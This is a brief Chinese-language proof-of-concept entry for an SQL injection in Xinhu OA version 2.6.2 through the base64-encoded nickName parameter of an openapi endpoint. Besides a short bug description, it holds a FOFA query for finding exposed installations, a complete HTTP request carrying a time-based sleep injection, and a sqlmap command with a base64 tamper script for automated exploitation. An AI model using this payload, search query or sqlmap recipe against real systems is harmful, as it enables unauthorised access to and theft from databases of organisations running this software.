X15-3信呼-OA-SQL

漏洞描述：

在信呼OA系统2.6.2版本的/webmain/task/openapi/openmodhetongAction.php文件中，存在一个前台SQL注入漏洞。当$nickName变量经过base64解码后被加入到uarr数组中，并最终传递给$db->record()方法进行SQL查询时，攻击者可以利用此漏洞进行SQL注入攻击。此外，还需要注意父类openapiAction.php中的init方法

fofa语法：

app=“信呼-OA系统”

漏洞复现：

payload：

GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Connection: keep-aliveCookie: loginname=admin; jueseid=1; danweiid=1; quanxian=0; PHPSESSID=cv1c2tefjckfjnpin34n2oc8h1; deviceid=1708223329907Host: 127.0.0.1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1

sqlmap可以直接跑: sqlmap.py -u “http://127.0.0.1/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=*” –tamper “base64encode” –level 3 –headers=“Host: 127.0.0.1”